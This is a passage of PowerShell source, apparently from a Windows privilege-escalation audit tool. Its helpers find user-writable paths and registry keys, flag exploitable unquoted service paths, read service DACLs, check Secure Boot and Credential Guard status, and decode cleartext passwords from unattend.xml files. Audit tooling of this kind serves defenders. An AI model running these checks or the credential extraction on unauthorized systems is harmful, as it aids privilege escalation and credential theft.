1492 $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path
1493 } else {
1494 # if the path doesn't exist, check if the parent folder allows for modification
1495 try {
1496 $ParentPath = (Split-Path -Path $TempPath -Parent -ErrorAction SilentlyContinue).Trim()
1497 if ($ParentPath -and ($ParentPath -ne '') -and (Test-Path -Path $ParentPath -ErrorAction SilentlyContinue)) {
1498 $CandidatePaths += Resolve-Path -Path $ParentPath | Select-Object -ExpandProperty Path
1499 }
1500 } catch {
1501 # trap because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely
1502 }
1503 }
1504 }
1505 }
1506 } else {
1507 # if the separator contains a space
1508 $CandidatePaths += Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path | ForEach-Object {$_.Trim()} | Where-Object {($_ -ne '') -and (Test-Path -Path $_)}
1509 }
1510 } else {
1511 Write-Verbose "DEBUG: Got a drive letter as a path: $_"
1512 }
1513 }
1514 }
1515 }
1516
1517 $CandidatePaths | Sort-Object -Unique | ForEach-Object {
1518
1519 $CandidatePath = $_
1520
1521 try {
1522
1523 Get-Acl -Path $CandidatePath | Select-Object -ExpandProperty Access | Where-Object {($_.AccessControlType -match 'Allow')} | ForEach-Object {
1524
1525 $FileSystemRights = $_.FileSystemRights.value__
1526
1527 $Permissions = $AccessMask.Keys | Where-Object { $FileSystemRights -band $_ } | ForEach-Object { $accessMask[$_] }
1528
1529 # the set of permission types that allow for modification
1530 $Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile', 'AppendData/AddSubdirectory') -IncludeEqual -ExcludeDifferent
1531
1532 if($Comparison) {
1533 if ($_.IdentityReference -notmatch '^S-1-5.*' -and $_.IdentityReference -notmatch '^S-1-15-.*') {
1534 if(-not ($TranslatedIdentityReferences[$_.IdentityReference])) {
1535 # translate the IdentityReference if it's a username and not a SID
1536 $IdentityUser = New-Object System.Security.Principal.NTAccount($_.IdentityReference)
1537 $TranslatedIdentityReferences[$_.IdentityReference] = $IdentityUser.Translate([System.Security.Principal.SecurityIdentifier]) | Select-Object -ExpandProperty Value
1538 }
1539 $IdentitySID = $TranslatedIdentityReferences[$_.IdentityReference]
1540 }
1541 else {
1542 $IdentitySID = $_.IdentityReference
1543 }
1544
1545 if($CurrentUserSids -contains $IdentitySID) {
1546 New-Object -TypeName PSObject -Property @{
1547 ModifiablePath = $CandidatePath
1548 IdentityReference = $_.IdentityReference
1549 Permissions = $Permissions
1550 }
1551 }
1552 }
1553 }
1554 } catch {
1555 # trap because Get-Acl doesn't handle -ErrorAction SilentlyContinue nicely
1556 }
1557 }
1558 }
1559 }
1560 }
1561
1562 function Get-ExploitableUnquotedPath {
1563 <#
1564 .SYNOPSIS
1565
1566 Helper - Parse a path, determine if it's "unquoted" and check whether it's exploitable.
1567
1568 Author: @itm4n
1569 License: BSD 3-Clause
1570
1571 .DESCRIPTION
1572
1573 Parse a path, determine if it's "unquoted" and check whether it's exploitable.
1574
1575 .PARAMETER Path
1576
1577 A path (or a command line for example)
1578
1579 #>
1580
1581 [CmdletBinding()] param(
1582 [string] $Path
1583 )
1584
1585 $PermissionsAddFile = @("WriteData/AddFile", "DeleteChild", "WriteDAC", "WriteOwner")
1586 $PermissionsAddFolder = @("AppendData/AddSubdirectory", "DeleteChild", "WriteDAC", "WriteOwner")
1587
1588 # If the Path doesn't start with a " or a '
1589 if (-not ($Path.StartsWith("`"") -or $Path.StartsWith("'"))) {
1590
1591 # Extract the binpath from the ImagePath
1592 $BinPath = $Path.SubString(0, $Path.ToLower().IndexOf(".exe") + 4)
1593
1594 # Write-Verbose "Unquoted path binary: $($BinPath)"
1595
1596 # If the binpath contains spaces
1597 If ($BinPath -match ".* .*") {
1598
1599 # Write-Verbose "Unquoted path with spaces: $($BinPath)"
1600
1601 $BinPath.split(' ') | Get-ModifiablePath | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object {
1602
1603 $TempPath = $([System.Environment]::ExpandEnvironmentVariables($BinPath))
1604 $TempPath = Split-Path -Path $TempPath -Parent
1605 while ($TempPath)
1606 {
1607 try {
1608
1609 $ParentPath = Split-Path -Path $TempPath -Parent
1610 if ($ParentPath -eq $_.ModifiablePath) {
1611
1612 $PermissionsSet = $Null
1613 if (Test-Path -Path $TempPath -ErrorAction SilentlyContinue) {
1614 # If the current folder exists, can we create files in it?
1615 #"Folder $($TempPath) exists, can we create files in $($ParentPath)???"
1616 $PermissionsSet = $PermissionsAddFile
1617 } else {
1618 # The current folder doesn't exist, can we create it?
1619 #"Folder $($TempPath) doesn't exist, can we create the folder $($ParentPath)???"
1620 $PermissionsSet = $PermissionsAddFolder
1621 }
1622
1623 ForEach ($Permission in $_.Permissions) {
1624
1625 if ($PermissionsSet -contains $Permission) {
1626
1627 $_
1628 # break
1629 }
1630 }
1631 # We found the path returned by Get-ModifiablePath so we can exit the while loop
1632 break
1633 }
1634 } catch {
1635 # because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely
1636 # exit safely to avoid an infinite loop
1637 break
1638 }
1639 $TempPath = $ParentPath
1640 }
1641 }
1642 }
1643 }
1644 }
1645
1646 function Get-ModifiableRegistryPath {
1647 <#
1648 .SYNOPSIS
1649
1650 Helper - Checks the permissions of a given registry key and returns the ones that the current
1651 user can modify. It's based on the same technique as the one used by @harmj0y in
1652 "Get-ModifiablePath".
1653
1654 Author: @itm4n
1655 License: BSD 3-Clause
1656
1657 .DESCRIPTION
1658
1659 Any registry path that the current user has modification rights on is returned in a custom
1660 object that contains the modifiable path, associated permission set, and the IdentityReference
1661 with the specified rights. The SID of the current user and any group he/she are a part of are
1662 used as the comparison set against the parsed path DACLs.
1663
1664 .PARAMETER Path
1665
1666 A registry key path. Required
1667
1668 .EXAMPLE
1669
1670 Get-ModifiableRegistryPath -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VulnService"
1671
1672 Name : VulnService
1673 ImagePath : C:\APPS\MyApp\service.exe
1674 User : NT AUTHORITY\NetworkService
1675 ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VulnService}
1676 IdentityReference : NT AUTHORITY\INTERACTIVE
1677 Permissions : {ReadControl, AppendData/AddSubdirectory, ReadExtendedAttributes, ReadData/ListDirectory}
1678 Status : Running
1679 UserCanStart : True
1680 UserCanRestart : False
1681
1682 #>
1683
1684 [CmdletBinding()]
1685 Param(
1686 [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
1687 [String[]]
1688 $Path
1689 )
1690
1691 BEGIN {
1692 # from http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
1693 $AccessMask = @{
1694 [uint32]'0x80000000' = 'GenericRead'
1695 [uint32]'0x40000000' = 'GenericWrite'
1696 [uint32]'0x20000000' = 'GenericExecute'
1697 [uint32]'0x10000000' = 'GenericAll'
1698 [uint32]'0x02000000' = 'MaximumAllowed'
1699 [uint32]'0x01000000' = 'AccessSystemSecurity'
1700 [uint32]'0x00100000' = 'Synchronize'
1701 [uint32]'0x00080000' = 'WriteOwner'
1702 [uint32]'0x00040000' = 'WriteDAC'
1703 [uint32]'0x00020000' = 'ReadControl'
1704 [uint32]'0x00010000' = 'Delete'
1705 [uint32]'0x00000100' = 'WriteAttributes'
1706 [uint32]'0x00000080' = 'ReadAttributes'
1707 [uint32]'0x00000040' = 'DeleteChild'
1708 [uint32]'0x00000020' = 'Execute/Traverse'
1709 [uint32]'0x00000010' = 'WriteExtendedAttributes'
1710 [uint32]'0x00000008' = 'ReadExtendedAttributes'
1711 [uint32]'0x00000004' = 'AppendData/AddSubdirectory'
1712 [uint32]'0x00000002' = 'WriteData/AddFile'
1713 [uint32]'0x00000001' = 'ReadData/ListDirectory'
1714 }
1715
1716 $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
1717 $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value
1718 $CurrentUserSids += $UserIdentity.User.Value
1719
1720 $TranslatedIdentityReferences = @{}
1721 }
1722
1723 PROCESS {
1724 $KeyAcl = Get-Acl -Path $Path -ErrorAction SilentlyContinue -ErrorVariable GetAclError
1725 if (-not $GetAclError) {
1726 $KeyAcl | Select-Object -ExpandProperty Access | Where-Object {($_.AccessControlType -match 'Allow')} | ForEach-Object {
1727
1728 $RegistryRights = $_.RegistryRights.value__
1729
1730 $Permissions = $AccessMask.Keys | Where-Object { $RegistryRights -band $_ } | ForEach-Object { $accessMask[$_] }
1731
1732 # the set of permission types that allow for modification
1733 $Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile', 'AppendData/AddSubdirectory') -IncludeEqual -ExcludeDifferent
1734
1735 if($Comparison) {
1736 if ($_.IdentityReference -notmatch '^S-1-5.*') {
1737 if(-not ($TranslatedIdentityReferences[$_.IdentityReference])) {
1738 # translate the IdentityReference if it's a username and not a SID
1739 $IdentityUser = New-Object System.Security.Principal.NTAccount($_.IdentityReference)
1740 $TranslatedIdentityReferences[$_.IdentityReference] = $IdentityUser.Translate([System.Security.Principal.SecurityIdentifier]) | Select-Object -ExpandProperty Value
1741 }
1742 $IdentitySID = $TranslatedIdentityReferences[$_.IdentityReference]
1743 }
1744 else {
1745 $IdentitySID = $_.IdentityReference
1746 }
1747
1748 if($CurrentUserSids -contains $IdentitySID) {
1749 New-Object -TypeName PSObject -Property @{
1750 ModifiablePath = $Path
1751 IdentityReference = $_.IdentityReference
1752 Permissions = $Permissions
1753 }
1754 }
1755 }
1756 }
1757 }
1758 }
1759 }
1760
1761 function Add-ServiceDacl {
1762 <#
1763 .SYNOPSIS
1764
1765 Helper - Adds a Dacl field to a service object returned by Get-Service.
1766
1767 Author: Matthew Graeber
1768 License: BSD 3-Clause
1769
1770 .DESCRIPTION
1771
1772 Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a
1773 Dacl field to each object. It does this by opening a handle with ReadControl for the
1774 service with using the GetServiceHandle Win32 API call and then uses
1775 QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service.
1776
1777 @itm4n: I had to make some small changes to the original code because i don't import the
1778 Win32 API functions the same way it was done in PowerUp.
1779
1780 .PARAMETER Name
1781
1782 An array of one or more service names to add a service Dacl for. Passable on the pipeline.
1783
1784 .EXAMPLE
1785
1786 PS C:\> Get-Service | Add-ServiceDacl
1787
1788 Add Dacls for every service the current user can read.
1789
1790 .EXAMPLE
1791
1792 PS C:\> Get-Service -Name VMTools | Add-ServiceDacl
1793
1794 Add the Dacl to the VMTools service object.
1795
1796 .OUTPUTS
1797
1798 ServiceProcess.ServiceController
1799
1800 .LINK
1801
1802 https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
1803 #>
1804
1805 [OutputType('ServiceProcess.ServiceController')]
1806 param (
1807 [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
1808 [Alias('ServiceName')]
1809 [String[]]
1810 [ValidateNotNullOrEmpty()]
1811 $Name
1812 )
1813
1814 BEGIN {
1815 filter Local:Get-ServiceReadControlHandle {
1816 [OutputType([IntPtr])]
1817 param (
1818 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
1819 [ValidateNotNullOrEmpty()]
1820 [ValidateScript({ $_ -as 'ServiceProcess.ServiceController' })]
1821 $Service
1822 )
1823 Add-Type -AssemblyName System.ServiceProcess # ServiceProcess is not loaded by default
1824 $GetServiceHandle = [ServiceProcess.ServiceController].GetMethod('GetServiceHandle', [Reflection.BindingFlags] 'Instance, NonPublic')
1825 $ReadControl = 0x00020000
1826 $RawHandle = $GetServiceHandle.Invoke($Service, @($ReadControl))
1827 $RawHandle
1828 }
1829 }
1830
1831 PROCESS {
1832 ForEach($ServiceName in $Name) {
1833
1834 $IndividualService = Get-Service -Name $ServiceName -ErrorAction SilentlyContinue -ErrorVariable GetServiceError
1835 if (-not $GetServiceError) {
1836
1837 try {
1838 $ServiceHandle = Get-ServiceReadControlHandle -Service $IndividualService
1839 }
1840 catch {
1841 $ServiceHandle = $Null
1842 }
1843
1844 if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) {
1845 $SizeNeeded = 0
1846
1847 $Result = [PrivescCheck.Win32]::QueryServiceObjectSecurity($ServiceHandle, [Security.AccessControl.SecurityInfos]::DiscretionaryAcl, @(), 0, [Ref] $SizeNeeded)
1848 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
1849
1850 # 122 == The data area passed to a system call is too small
1851 if ((-not $Result) -and ($LastError -eq 122) -and ($SizeNeeded -gt 0)) {
1852 $BinarySecurityDescriptor = New-Object Byte[]($SizeNeeded)
1853
1854 $Result = [PrivescCheck.Win32]::QueryServiceObjectSecurity($ServiceHandle, [Security.AccessControl.SecurityInfos]::DiscretionaryAcl, $BinarySecurityDescriptor, $BinarySecurityDescriptor.Count, [Ref] $SizeNeeded)
1855 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
1856
1857 if ($Result) {
1858
1859 $RawSecurityDescriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $BinarySecurityDescriptor, 0
1860
1861 $Dacl = $RawSecurityDescriptor.DiscretionaryAcl | ForEach-Object {
1862 Add-Member -InputObject $_ -MemberType NoteProperty -Name AccessRights -Value $([PrivescCheck.Win32+ServiceAccessFlags] $_.AccessMask) -PassThru
1863 }
1864
1865 Add-Member -InputObject $IndividualService -MemberType NoteProperty -Name Dacl -Value $Dacl -PassThru
1866 }
1867 }
1868
1869 $Null = [PrivescCheck.Win32]::CloseServiceHandle($ServiceHandle)
1870 }
1871 }
1872 }
1873 }
1874 }
1875
1876 function Get-UEFIStatus {
1877 <#
1878 .SYNOPSIS
1879
1880 Helper - Gets the BIOS mode of the machine (Legacy / UEFI)
1881
1882 Author: @itm4n
1883 License: BSD 3-Clause
1884
1885 .DESCRIPTION
1886
1887 Invokes the "GetFirmwareEnvironmentVariable()" function from the Windows API with dummy
1888 parameters. Indeed, the queried value doesn't matter, what matters is the last error code,
1889 which you can get by invoking "GetLastError()". If the return code is ERROR_INVALID_FUNCTION,
1890 this means that the function is not supported by the BIOS so it's LEGACY. Otherwise, the error
1891 code will indicate that it cannot find the requested variable, which means that the function is
1892 supported by the BIOS so it's UEFI.
1893
1894 .EXAMPLE
1895
1896 PS C:\> Get-BiosMode
1897
1898 Name Status Description
1899 ---- ------ -----------
1900 UEFI True BIOS mode is UEFI
1901
1902 .NOTES
1903
1904 https://github.com/xcat2/xcat-core/blob/master/xCAT-server/share/xcat/netboot/windows/detectefi.cpp
1905 https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getfirmwareenvironmentvariablea
1906 https://github.com/ChrisWarwick/GetUEFI/blob/master/GetFirmwareBIOSorUEFI.psm1
1907
1908 #>
1909
1910 [CmdletBinding()]Param()
1911
1912 $OsVersion = [System.Environment]::OSVersion.Version
1913
1914 # Windows >= 8/2012
1915 if (($OsVersion.Major -ge 10) -or (($OsVersion.Major -ge 6) -and ($OsVersion.Minor -ge 2))) {
1916
1917 [int]$FirmwareType = 0
1918 $Result = [PrivescCheck.Win32]::GetFirmwareType([ref]$FirmwareType)
1919 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
1920
1921 if ($Result -gt 0) {
1922 if ($FirmwareType -eq 1) {
1923 # FirmwareTypeBios = 1
1924 $Status = $False
1925 $Description = "BIOS mode is Legacy"
1926 } elseif ($FirmwareType -eq 2) {
1927 # FirmwareTypeUefi = 2
1928 $Status = $True
1929 $Description = "BIOS mode is UEFI"
1930 } else {
1931 $Description = "BIOS mode is unknown"
1932 }
1933 } else {
1934 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
1935 }
1936
1937 # Windows = 7/2008 R2
1938 } elseif (($OsVersion.Major -eq 6) -and ($OsVersion.Minor -eq 1)) {
1939
1940 [PrivescCheck.Win32]::GetFirmwareEnvironmentVariable("", "{00000000-0000-0000-0000-000000000000}", [IntPtr]::Zero, 0) | Out-Null
1941 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
1942
1943 $ERROR_INVALID_FUNCTION = 1
1944 if ($LastError -eq $ERROR_INVALID_FUNCTION) {
1945 $Status = $False
1946 $Description = "BIOS mode is Legacy"
1947 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
1948 } else {
1949 $Status = $True
1950 $Description = "BIOS mode is UEFI"
1951 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
1952 }
1953
1954 } else {
1955 $Description = "Cannot check BIOS mode"
1956 }
1957
1958 $BiosMode = New-Object -TypeName PSObject
1959 $BiosMode | Add-Member -MemberType "NoteProperty" -Name "Name" -Value "UEFI"
1960 $BiosMode | Add-Member -MemberType "NoteProperty" -Name "Status" -Value $Status
1961 $BiosMode | Add-Member -MemberType "NoteProperty" -Name "Description" -Value $Description
1962 $BiosMode
1963 }
1964
1965 function Get-SecureBootStatus {
1966 <#
1967 .SYNOPSIS
1968
1969 Helper - Get the status of Secure Boot (enabled/disabled/unsupported)
1970
1971 Author: @itm4n
1972 License: BSD 3-Clause
1973
1974 .DESCRIPTION
1975
1976 In case of a UEFI BIOS, you can check whether 'Secure Boot' is enabled by looking at the
1977 'UEFISecureBootEnabled' value of the following registry key: 'HKEY_LOCAL_MACHINE\SYSTEM\Current
1978 ControlSet\Control\SecureBoot\State'.
1979
1980 .EXAMPLE
1981
1982 PS C:\> Get-SecureBootStatus
1983
1984 Name Status Description
1985 ---- ------ -----------
1986 Secure Boot True Secure Boot is enabled
1987
1988 #>
1989
1990 [CmdletBinding()]Param()
1991
1992 $RegPath = "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecureBoot\State"
1993 $Result = Get-ItemProperty -Path "Registry::$($RegPath)" -ErrorAction SilentlyContinue -ErrorVariable GetItemPropertyError
1994
1995 if (-not $GetItemPropertyError) {
1996
1997 if (-not ($Null -eq $Result.UEFISecureBootEnabled)) {
1998
1999 if ($Result.UEFISecureBootEnabled -eq 1) {
2000 $Status = $True
2001 $Description = "Secure Boot is enabled"
2002 } else {
2003 $Status = $False
2004 $Description = "Secure Boot is disabled"
2005 }
2006 } else {
2007 $Status = $False
2008 $Description = "Secure Boot is not supported"
2009 }
2010 } else {
2011 $Status = $False
2012 $Description = "Secure Boot is not supported"
2013 }
2014
2015 $SecureBootStatus = New-Object -TypeName PSObject
2016 $SecureBootStatus | Add-Member -MemberType "NoteProperty" -Name "Name" -Value "Secure Boot"
2017 $SecureBootStatus | Add-Member -MemberType "NoteProperty" -Name "Status" -Value $Status
2018 $SecureBootStatus | Add-Member -MemberType "NoteProperty" -Name "Description" -Value $Description
2019 $SecureBootStatus
2020 }
2021
2022 function Get-CredentialGuardStatus {
2023 <#
2024 .SYNOPSIS
2025
2026 Helper - Gets the status of Windows Defender Credential Guard
2027
2028 Author: @itm4n
2029 License: BSD 3-Clause
2030
2031 .DESCRIPTION
2032
2033 Gets the status of the Credential Guard by reading the 'LsaCfgFlags' value of the following
2034 registry key: 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA'. Possible values are:
2035 None=>Not configured, 0=>Disabled, 1=>Enabled with UEFI lock, 2=>Disabled without UEFI lock.
2036
2037 .EXAMPLE
2038
2039 PS C:\> Get-CredentialGuardStatus
2040
2041 Name Status Description
2042 ---- ------ -----------
2043 Credential Guard False Credential Guard is not configured
2044
2045 .LINK
2046
2047 https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage
2048
2049 #>
2050
2051 [CmdletBinding()]Param()
2052
2053 $OsVersion = [System.Environment]::OSVersion.Version
2054
2055 if ($OsVersion.Major -ge 10) {
2056
2057 if (((Get-ComputerInfo).DeviceGuardSecurityServicesConfigured) -match 'CredentialGuard') {
2058
2059 $Status = $False
2060 $Description = "Credential Guard is configured but is not running"
2061
2062 if (((Get-ComputerInfo).DeviceGuardSecurityServicesRunning) -match 'CredentialGuard') {
2063 $Status = $True
2064 $Description = "Credential Guard is configured and running"
2065 }
2066 } else {
2067 $Status = $False
2068 $Description = "Credential Guard is not configured"
2069 }
2070 } else {
2071 $Status = $False
2072 $Description = "Credential Guard is not supported on this OS"
2073 }
2074
2075 $CredentialGuardStatus = New-Object -TypeName PSObject
2076 $CredentialGuardStatus | Add-Member -MemberType "NoteProperty" -Name "Name" -Value "Credential Guard"
2077 $CredentialGuardStatus | Add-Member -MemberType "NoteProperty" -Name "Status" -Value $Status
2078 $CredentialGuardStatus | Add-Member -MemberType "NoteProperty" -Name "Description" -Value $Description
2079 $CredentialGuardStatus
2080 }
2081
2082 function Get-LsaRunAsPPLStatus {
2083 <#
2084 .SYNOPSIS
2085
2086 Helper - Gets the status of RunAsPPL option for LSA
2087
2088 Author: @itm4n
2089 License: BSD 3-Clause
2090
2091 .DESCRIPTION
2092
2093 RunAsPPL can be enabled for the LSA process in the registry. If it's enabled and the device has
2094 Secure Boot or UEFI, this setting is stored in the UEFI firmware so removing the registry key
2095 won't disable this setting.
2096
2097 .EXAMPLE
2098
2099 PS C:\> Get-LsaRunAsPPLStatus
2100
2101 Name Status Description
2102 ---- ------ -----------
2103 RunAsPPL True RunAsPPL is enabled
2104
2105 .LINK
2106
2107 https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection
2108 #>
2109
2110
2111 [CmdletBinding()]Param()
2112
2113 $OsVersion = [System.Environment]::OSVersion.Version
2114
2115 # if Windows >= 8.1 / 2012 R2
2116 if ($OsVersion.Major -eq 10 -or ( ($OsVersion.Major -eq 6) -and ($OsVersion.Minor -ge 3) )) {
2117
2118 $RegPath = "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa"
2119 $Result = Get-ItemProperty -Path "REgistry::$($RegPath)" -ErrorAction SilentlyContinue -ErrorVariable GetItemPropertyError
2120
2121 if (-not $GetItemPropertyError) {
2122
2123 if (-not ($Null -eq $Result.RunAsPPL)) {
2124
2125 if ($Result.RunAsPPL -eq 1) {
2126 $Status = $True
2127 $Description = "RunAsPPL is enabled"
2128 } else {
2129 $Status = $False
2130 $Description = "RunAsPPL is disabled"
2131 }
2132 } else {
2133 $Status = $False
2134 $Description = "RunAsPPL is not configured"
2135 }
2136 }
2137
2138 } else {
2139 # RunAsPPL not supported
2140 $Status = $False
2141 $Description = "RunAsPPL is not supported on this OS"
2142 }
2143
2144 $LsaRunAsPplStatus = New-Object -TypeName PSObject
2145 $LsaRunAsPplStatus | Add-Member -MemberType "NoteProperty" -Name "Name" -Value "RunAsPPL"
2146 $LsaRunAsPplStatus | Add-Member -MemberType "NoteProperty" -Name "Status" -Value $Status
2147 $LsaRunAsPplStatus | Add-Member -MemberType "NoteProperty" -Name "Description" -Value $Description
2148 $LsaRunAsPplStatus
2149
2150 }
2151
2152 function Get-UnattendSensitiveData {
2153 <#
2154 .SYNOPSIS
2155
2156 Helper - Extract sensitive data from an "unattend" XML file
2157
2158 Author: @itm4n
2159 License: BSD 3-Clause
2160
2161 .DESCRIPTION
2162
2163 Unattend files are XML documents which may contain cleartext passwords if they are not
2164 properly sanitized. Most of the time, "Password" fields will be replaced by the generic
2165 "*SENSITIVE*DATA*DELETED*" mention but sometimes, the original value remains and is either
2166 present in its plaintext form or base64-encoded form. If a non-empty password field is found
2167 and if it's not equal to the default "*SENSITIVE*DATA*DELETED*", this function will return the
2168 corresponding set of credentials: domain, username and (decoded) password.
2169
2170 .PARAMETER Path
2171
2172 The Path of the "unattend.xml" file to parse
2173
2174 .EXAMPLE
2175
2176 PS C:\> Get-UnattendSensitiveData -Path C:\Windows\Panther\Unattend.xml
2177
2178 Type Domain Username Password
2179 ---- ------ -------- --------
2180 Credentials contoso.com Administrator Password1
2181 LocalAccount N/A John Password1
2182 AutoLogon . Administrator P@ssw0rd
2183
2184 .NOTES
2185
2186 A password can be stored in three formats:
2187
2188 1) Simple string
2189
2190 <Password>Password</Password>
2191
2192 2) XML node + plain value
2193
2194 <Password>
2195 <Value>Password</Value>
2196 <PlainText>true</PlainText>
2197 </Password>
2198
2199 3) XML node + base64-encoded value
2200
2201 <Password>
2202 <Value>UABhAHMAcwB3AG8AcgBkAA==</Value>
2203 <PlainText>false</PlainText>
2204 </Password>
2205
2206 /!\ UNICODE encoding!
2207
2208 #>
2209
2210 [CmdletBinding()]Param(
2211 [Parameter(Mandatory=$True)]
2212 [string]$Path
2213 )
2214
2215 function Get-DecodedPassword {
2216
2217 [CmdletBinding()]Param(
2218 [object]$XmlNode
2219 )
2220
2221 if ($XmlNode.GetType().Name -eq "string") {
2222 $XmlNode
2223 } else {
2224 if ($XmlNode) {
2225 if ($XmlNode.PlainText -eq "false") {
2226 [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($XmlNode.Value))
2227 } else {
2228 $XmlNode.Value
2229 }
2230 }
2231 }
2232 }
2233
2234 [xml] $Xml = Get-Content -Path $Path -ErrorAction SilentlyContinue -ErrorVariable GetContentError
2235
2236 if (-not $GetContentError) {
2237
2238 $Xml.GetElementsByTagName("Credentials") | ForEach-Object {
2239
2240 $Password = Get-DecodedPassword -XmlNode $_.Password
2241
2242 if ($Password -and ( -not ($Password -eq "*SENSITIVE*DATA*DELETED*"))) {
2243 $Item = New-Object -TypeName PSObject
2244 $Item | Add-Member -MemberType "NoteProperty" -Name "Type" -Value "Credentials"
2245 $Item | Add-Member -MemberType "NoteProperty" -Name "Domain" -Value $_.Domain
2246 $Item | Add-Member -MemberType "NoteProperty" -Name "Username" -Value $_.Username
2247 $Item | Add-Member -MemberType "NoteProperty" -Name "Password" -Value $Password
2248 $Item
2249 }
2250 }
2251
2252 $Xml.GetElementsByTagName("LocalAccount") | ForEach-Object {
2253
2254 $Password = Get-DecodedPassword -XmlNode $_.Password
2255
2256 if ($Password -and ( -not ($Password -eq "*SENSITIVE*DATA*DELETED*"))) {
2257 $Item = New-Object -TypeName PSObject
2258 $Item | Add-Member -MemberType "NoteProperty" -Name "Type" -Value "LocalAccount"
2259 $Item | Add-Member -MemberType "NoteProperty" -Name "Domain" -Value "N/A"
2260 $Item | Add-Member -MemberType "NoteProperty" -Name "Username" -Value $_.Name
2261 $Item | Add-Member -MemberType "NoteProperty" -Name "Password" -Value $Password
2262 $Item
2263 }
2264 }
2265
2266 $Xml.GetElementsByTagName("AutoLogon") | ForEach-Object {
2267
2268 $Password = Get-DecodedPassword -XmlNode $_.Password
2269
2270 if ($Password -and ( -not ($Password -eq "*SENSITIVE*DATA*DELETED*"))) {
2271 $Item = New-Object -TypeName PSObject
2272 $Item | Add-Member -MemberType "NoteProperty" -Name "Type" -Value "AutoLogon"
2273 $Item | Add-Member -MemberType "NoteProperty" -Name "Domain" -Value $_.Domain
2274 $Item | Add-Member -MemberType "NoteProperty" -Name "Username" -Value $_.Username
2275 $Item | Add-Member -MemberType "NoteProperty" -Name "Password" -Value $Password
2276 $Item
2277 }
2278 }
2279
2280 $Xml.GetElementsByTagName("AdministratorPassword") | ForEach-Object {
2281
2282 $Password = Get-DecodedPassword -XmlNode $_
2283
2284 if ($Password -and ( -not ($Password -eq "*SENSITIVE*DATA*DELETED*"))) {
2285 $Item = New-Object -TypeName PSObject
2286 $Item | Add-Member -MemberType "NoteProperty" -Name "Type" -Value "AdministratorPassword"
2287 $Item | Add-Member -MemberType "NoteProperty" -Name "Domain" -Value "N/A"
2288 $Item | Add-Member -MemberType "NoteProperty" -Name "Username" -Value "N/A"
2289 $Item | Add-Member -MemberType "NoteProperty" -Name "Password" -Value $Password
2290 $Item
2291 }
2292 }
2293 }
2294 }
2295
2296 function Get-HotFixList {
2297 <#
2298 .SYNOPSIS
2299
2300 Helper - Gets a list of installed updates and hotfixes.
2301
2302 .DESCRIPTION
2303
2304 This check reads the registry in order to enumerate all the installed KB hotfixes. The output
2305 is sorted by date so that most recent patches appear first in the list. The output is similar
2306 to the output of the built-in 'Get-HotFix' powershell command. There is a major difference
2307 between this script and the 'Get-HotFix' command though. The latter relies on WMI to delegate
2308 the "enumeration" whereas this script directly parses the registry. The other benefit of this
2309 method is that it allows one to extract more information related to the KBs (although it's not
2310 in the output of this script). If the current user can't read the registry, the script falls
2311 back to the built-in 'Get-HotFix' cmdlet.
2312
2313 .EXAMPLE
2314
2315 PS C:\> Get-HotFixList
2316
2317 HotFixID Description InstalledBy InstalledOn
2318 -------- ----------- ----------- -----------
2319 KB4557968 Security Update 2020-05-11 07:37:09
2320 KB4560366 Security Update DESKTOP-7A0AKQI\admin 2020-06-22 12:40:39
2321 KB4566785 Security Update NT AUTHORITY\SYSTEM 2020-07-16 13:08:14
2322 KB4570334 Security Update NT AUTHORITY\SYSTEM 2020-08-13 17:45:34
2323 KB4577266 Security Update NT AUTHORITY\SYSTEM 2020-09-11 13:37:59
2324 KB4537759 Security Update 2020-05-11 07:44:14
2325 KB4561600 Security Update NT AUTHORITY\SYSTEM 2020-06-22 13:00:50
2326 KB4578968 Update NT AUTHORITY\SYSTEM 2020-10-14 18:06:18
2327 KB4580325 Security Update NT AUTHORITY\SYSTEM 2020-10-14 13:09:37
2328
2329 #>
2330
2331 [CmdletBinding()] param()
2332
2333 function Get-PackageInfo {
2334
2335 param(
2336 [string]$Path
2337 )
2338
2339 $Info = New-Object -TypeName PSObject
2340
